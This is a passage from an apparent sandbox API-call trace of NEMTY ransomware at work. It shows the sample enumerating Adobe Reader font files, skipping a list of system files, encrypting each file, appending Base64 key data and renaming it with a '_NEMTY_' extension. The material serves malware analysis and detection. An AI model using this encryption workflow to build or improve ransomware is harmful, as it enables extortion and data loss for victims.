lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3375d970, dwHighDateTime=0x1d561e8)) [0214.451] GetLastError () returned 0xb7 [0214.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.451] GetLastError () returned 0xb7 [0214.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.452] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.452] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="KI+KE5XWQy/w8yZQaBezsjdOvlED7ic+u65Wj27kj1mtvOFF03u70NnSlXrTjw0g\r\nPSKMXkxTqZljzpy2CxL7R/7hu+U7d4vcnJW0+wCRygNQC2TzGsftmRJ9GwzTzDD+\r\nVM/HF/VpTPDe8u5ER5KbY2cjo/AIB9nh3du9a7FfLxTSH9093b6fg9sh6Nnedvq/\r\nHZG01/A4pNPxdyLg2RbILFuxUsgrX2Vrl/7PrUlpOOAnV/vmxeb065eS4ldk/mrh\r\naSPsTH+5g60hGP+Mi7iQoTBTYmQZcOvvUoPKvOrxjb3km7FBhlq+8WfY1bHsCVy4\r\nW+C0nanoisj1jCqkXSEQKQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.453] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=672) returned 1 [0214.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a0) returned 0x6340048 [0214.453] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.453] ReadFile (in: hFile=0x2e8, lpBuffer=0x6340048, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653e824*=0x2a0, lpOverlapped=0x0) returned 1 [0214.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x2a0, lpOverlapped=0x0) returned 1 [0214.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a0 [0214.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.454] CloseHandle (hObject=0x2e8) returned 1 [0214.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0214.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942e8 [0214.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.455] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm._nemty_kgobjgd_")) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2=".") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="..") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="...") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="windows") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="$RECYCLE.BIN") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="rsa") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="NTDETECT.COM") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="ntldr") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="MSDOS.SYS") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="IO.SYS") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="boot.ini") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="boot.ini") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="AUTOEXEC.BAT") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="ntuser.dat") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="desktop.ini") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="CONFIG.SYS") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="RECYCLER") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="BOOTSECT.BAK") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="bootmgr") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="programdata") returned 1 [0214.457] lstrcmpiW (lpString1="zx______.pfm", lpString2="appdata") returned 1 [0214.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zx______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zx______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zx______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zx______.pfm", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zx______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.458] Sleep (dwMilliseconds=0x5) [0214.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33783ad0, dwHighDateTime=0x1d561e8)) [0214.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33783ad0, dwHighDateTime=0x1d561e8)) [0214.467] GetLastError () returned 0x0 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.467] GetLastError () returned 0x0 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Usl8pb0w4/XQiaOVq8LhvIOPbKewzbcFwUnKoWt3zXBbSoTMDVhvxriDjRDxsA9L\r\nU/oqI4lx9fGsB8i6yBonefIi8sSx1AysUENHHciWIi03tqqqFchlBb4pQkkc54VP\r\nZKYK4T1C64Bra6Vquz3tD+QdQtgW31HvOfVmLl1ybxThNf4MpUWdOViXUEph16Fe\r\ndmGVuekG/Ikimy+0qkNY59pXvyo9jGAsjAcU1mHZzem0c0RTIKLS/ou/q1L8abuF\r\nkj0f8gYLOaIYxEh6/oAaEweBB7m/3muu4vxeFQrvNxryvPGhFTGr7w3BhzxbwApA\r\nGVps50P8bSUtN6l7/K3tdg==\r\n", pcchString=0x653e5dc) returned 1 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.468] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=683) returned 1 [0214.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a0) returned 0x6340048 [0214.468] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.468] ReadFile (in: hFile=0x2e8, lpBuffer=0x6340048, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653e824*=0x2a0, lpOverlapped=0x0) returned 1 [0214.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.469] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x2a0, lpOverlapped=0x0) returned 1 [0214.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ab [0214.469] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.469] CloseHandle (hObject=0x2e8) returned 1 [0214.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0214.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942e8 [0214.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.469] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm._nemty_kgobjgd_")) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.470] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2=".") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="..") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="...") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="windows") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="$RECYCLE.BIN") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="rsa") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="NTDETECT.COM") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="ntldr") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="MSDOS.SYS") returned 1 [0214.470] lstrcmpiW (lpString1="zy______.pfm", lpString2="IO.SYS") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="boot.ini") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="boot.ini") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="AUTOEXEC.BAT") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="ntuser.dat") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="desktop.ini") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="CONFIG.SYS") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="RECYCLER") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="BOOTSECT.BAK") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="bootmgr") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="programdata") returned 1 [0214.471] lstrcmpiW (lpString1="zy______.pfm", lpString2="appdata") returned 1 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zy______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zy______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zy______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zy______.pfm", lpUsedDefaultChar=0x0) returned 12 [0214.471] 